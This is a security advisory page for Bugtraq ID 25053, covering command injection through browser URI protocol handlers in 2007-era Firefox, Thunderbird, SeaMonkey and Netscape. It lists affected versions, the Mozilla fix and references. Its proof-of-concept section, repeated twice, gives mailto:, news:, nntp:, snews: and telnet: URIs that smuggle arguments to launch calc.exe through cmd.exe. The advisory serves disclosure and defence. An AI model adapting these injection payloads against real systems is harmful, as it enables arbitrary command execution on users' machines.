Multiple Browser URI Handlers Command Injection Vulnerabilities
BID:25053
Info
Multiple Browser URI Handlers Command Injection Vulnerabilities
| Bugtraq ID: | 25053 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-4041 CVE-2007-3845 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 25 2007 12:00AM |
| Updated: | Mar 18 2008 10:20PM |
| Credit: | Billy Rios discovered these issues. |
| Vulnerable: |
Ubuntu Ubuntu Linux 7.04 sparc Ubuntu Ubuntu Linux 7.04 powerpc Ubuntu Ubuntu Linux 7.04 i386 Ubuntu Ubuntu Linux 7.04 amd64 Ubuntu Ubuntu Linux 6.10 sparc Ubuntu Ubuntu Linux 6.10 powerpc Ubuntu Ubuntu Linux 6.10 i386 Ubuntu Ubuntu Linux 6.10 amd64 Ubuntu Ubuntu Linux 6.06 LTS sparc Ubuntu Ubuntu Linux 6.06 LTS powerpc Ubuntu Ubuntu Linux 6.06 LTS i386 Ubuntu Ubuntu Linux 6.06 LTS amd64 Turbolinux wizpy 0 Turbolinux FUJI 0 SuSE SUSE Linux Enterprise Server 8 SuSE SUSE Linux Enterprise Server 10 SP1 SuSE SUSE Linux Enterprise Desktop 10 SP1 SuSE Linux Professional 10.2 x86_64 SuSE Linux Personal 10.2 x86_64 Sun Solaris 10_x86 Sun Solaris 10 Slackware Linux 12.0 Slackware Linux 11.0 S.u.S.E. UnitedLinux 1.0 S.u.S.E. SuSE Linux Standard Server 8.0 S.u.S.E. SuSE Linux School Server for i386 S.u.S.E. SUSE LINUX Retail Solution 8.0 S.u.S.E. SuSE Linux Openexchange Server 4.0 S.u.S.E. openSUSE 10.3 S.u.S.E. openSUSE 10.2 S.u.S.E. Open-Enterprise-Server 0 S.u.S.E. Novell Linux POS 9 S.u.S.E. Novell Linux Desktop 9 S.u.S.E. Linux Professional 10.0 OSS S.u.S.E. Linux Professional 10.0 S.u.S.E. Linux Professional 10.2 S.u.S.E. Linux Professional 10.1 S.u.S.E. Linux Personal 10.0 OSS S.u.S.E. Linux Personal 10.2 S.u.S.E. Linux Personal 10.1 S.u.S.E. Linux Enterprise Server 9 S.u.S.E. Linux Enterprise Server 10.SP1 S.u.S.E. Linux 10.1 x86-64 S.u.S.E. Linux 10.1 x86 S.u.S.E. Linux 10.1 ppc S.u.S.E. Linux 10.0 x86-64 S.u.S.E. Linux 10.0 x86 S.u.S.E. Linux 10.0 ppc rPath rPath Linux 1 Netscape Navigator 9.0 Mozilla Thunderbird 2.0 .5 Mozilla Thunderbird 2.0 .4 Mozilla Thunderbird 1.5 beta 2 Mozilla Thunderbird 1.5 .9 Mozilla Thunderbird 1.5 Mozilla Thunderbird 1.0.8 Mozilla Thunderbird 1.0.7 Mozilla Thunderbird 1.0.6 Mozilla Thunderbird 1.0.5 Mozilla Thunderbird 1.0.2 Mozilla Thunderbird 1.0.1 Mozilla Thunderbird 1.0 Mozilla Thunderbird 0.9 Mozilla Thunderbird 0.8 Mozilla Thunderbird 0.7.3 Mozilla Thunderbird 0.7.2 Mozilla Thunderbird 0.7.1 Mozilla Thunderbird 0.7 Mozilla Thunderbird 0.6 Mozilla Thunderbird 1.5.0.8 Mozilla Thunderbird 1.5.0.7 Mozilla Thunderbird 1.5.0.5 Mozilla Thunderbird 1.5.0.4 Mozilla Thunderbird 1.5.0.2 Mozilla Thunderbird 1.5.0.12 Mozilla Thunderbird 1.5.0.10 Mozilla Thunderbird 1.5.0.1 Mozilla SeaMonkey 1.1.3 Mozilla SeaMonkey 1.1.2 Mozilla SeaMonkey 1.1.1 Mozilla SeaMonkey 1.0.99 Mozilla SeaMonkey 1.0.9 Mozilla SeaMonkey 1.0.8 Mozilla SeaMonkey 1.0.7 Mozilla SeaMonkey 1.0.6 Mozilla SeaMonkey 1.0.5 Mozilla SeaMonkey 1.0.3 Mozilla SeaMonkey 1.0.2 Mozilla SeaMonkey 1.0.1 Mozilla SeaMonkey 1.1 beta Mozilla SeaMonkey 1.0 dev Mozilla SeaMonkey 1.0 Mozilla Grand Paradiso 3.0a6 Mozilla Firefox 2.0 .5 Mozilla Firefox 2.0 .4 Mozilla Firefox 2.0 .3 Mozilla Firefox 2.0 .1 Mozilla Firefox 2.0.0.3 Mozilla Firefox 2.0.0.2 Mozilla Firefox 2.0 RC3 Mozilla Firefox 2.0 RC2 Mozilla Firefox 2.0 beta 1 Mozilla Firefox 2.0 Mandriva Linux Mandrake 2008.0 x86_64 Mandriva Linux Mandrake 2008.0 Mandriva Linux Mandrake 2007.1 x86_64 Mandriva Linux Mandrake 2007.1 HP HP-UX B.11.23 HP HP-UX B.11.11 Foresight Linux Foresight Linux 1.1 Debian Xulrunner 0 Debian Linux 4.0 sparc Debian Linux 4.0 s/390 Debian Linux 4.0 powerpc Debian Linux 4.0 mipsel Debian Linux 4.0 mips Debian Linux 4.0 m68k Debian Linux 4.0 ia-64 Debian Linux 4.0 ia-32 Debian Linux 4.0 hppa Debian Linux 4.0 arm Debian Linux 4.0 amd64 Debian Linux 4.0 alpha Debian Linux 4.0 Debian Iceweasel 0 Debian Iceape 1.0.10 |
| Not Vulnerable: |
Mozilla Thunderbird 2.0 .6 Mozilla Thunderbird 1.5 .13 Mozilla SeaMonkey 1.1.4 Mozilla Firefox 2.0 .6 |
Discussion
Multiple Browser URI Handlers Command Injection Vulnerabilities
Multiple browsers are prone to vulnerabilities that let attackers inject commands through various protocol handlers.
Exploiting these issues allows remote attackers to pass and execute arbitrary commands and arguments through processes such as 'cmd.exe' by employing various URI handlers.
An attacker can exploit these issues to carry out various attacks by executing arbitrary commands on a vulnerable computer.
Exploiting these issues would permit remote attackers to influence command options that can be called through protocol handlers and to execute commands with the privileges of a user running the application. Successful attacks may result in a variety of consequences, including remote unauthorized access.
Mozilla Firefox 2.0.0.5, 3.0a6 and Netscape Navigator 9 are reported vulnerable to these issues. Other versions of these browsers and other vendors' browsers may also be affected.
Multiple browsers are prone to vulnerabilities that let attackers inject commands through various protocol handlers.
Exploiting these issues allows remote attackers to pass and execute arbitrary commands and arguments through processes such as 'cmd.exe' by employing various URI handlers.
An attacker can exploit these issues to carry out various attacks by executing arbitrary commands on a vulnerable computer.
Exploiting these issues would permit remote attackers to influence command options that can be called through protocol handlers and to execute commands with the privileges of a user running the application. Successful attacks may result in a variety of consequences, including remote unauthorized access.
Mozilla Firefox 2.0.0.5, 3.0a6 and Netscape Navigator 9 are reported vulnerable to these issues. Other versions of these browsers and other vendors' browsers may also be affected.
Exploit / POC
Multiple Browser URI Handlers Command Injection Vulnerabilities
The following proofs of concept demonstrate this vulnerability.
mailto:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat
nntp:windows/system32/calc.exe%20"%20-%20"%20blah.bat
news:windows/system32/calc.exe%20"%20-%20"%20blah.bat
snews:windows/system32/calc.exe%20"%20-%20"%20blah.bat
telnet:windows/system32/calc.exe%20"%20-%20"%20blah.bat
telnet:// rundll32.exe url.dll,TelnetProtocolHandler %l
news:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1
nntp:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1
snews:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1
mailto:// C:\lotus\notes\notes.exe /defini %1
The following proofs of concept demonstrate this vulnerability.
mailto:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat
nntp:windows/system32/calc.exe%20"%20-%20"%20blah.bat
news:windows/system32/calc.exe%20"%20-%20"%20blah.bat
snews:windows/system32/calc.exe%20"%20-%20"%20blah.bat
telnet:windows/system32/calc.exe%20"%20-%20"%20blah.bat
telnet:// rundll32.exe url.dll,TelnetProtocolHandler %l
news:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1
nntp:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1
snews:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1
mailto:// C:\lotus\notes\notes.exe /defini %1
Solution / Fix
Multiple Browser URI Handlers Command Injection Vulnerabilities
Solution:
Mozilla has addressed these vulnerabilities with the release of Firefox 2.0.0.6, Thunderbird 2.0.0.6, and SeaMonkey 1.1.4. Please see the vendor references for more information.
Sun Solaris 10_x86
Mozilla Firefox 2.0 .5
Solution:
Mozilla has addressed these vulnerabilities with the release of Firefox 2.0.0.6, Thunderbird 2.0.0.6, and SeaMonkey 1.1.4. Please see the vendor references for more information.
Sun Solaris 10_x86
-
Sun 125540-02
http://sunsolve.sun.com/search/document.do?assetkey=urn:cds:docid:1-21 -125540-02-1 -
Sun 125542-02
http://sunsolve.sun.com/search/document.do?assetkey=urn:cds:docid:1-21 -125542-02-1
Mozilla Firefox 2.0 .5
-
Mozilla Mozilla Firefox 2.0.0.6
http://www.mozilla.com/en-US/firefox/all.html
References
Multiple Browser URI Handlers Command Injection Vulnerabilities
References:
References:
- Attack of the URL Vulnerabilities (GNUCITIZEN)
- Related Security Issue in URL Protocol Handling on Windows (Mozilla)
- Remote Command Exec (FireFox 2.0.0.5 et al) (Billy (BK) Rios)
- Remote Command Execution in FireFox et al (Nathan McFeters)
- SeaMonkey Homepage (Mozilla)
- Thunderbird Homepage (Mozilla)
- Vendor Homepage (Mozilla Foundation)
- HPSBUX02153 SSRT061181 rev.5 - HP-UX Running Firefox, Remote Unauthorized Access (HP)
- MFSA-2007-27:Unescaped URIs passed to external programs (Mozilla Foundation)
- Solution 201516 : Multiple Security Vulnerabilities in Firefox and Thunderbir (Sun)
- Sun Alert ID: 103177 (Sun Microsystems)
- Vulnerability Note VU#783400 (US-CERT)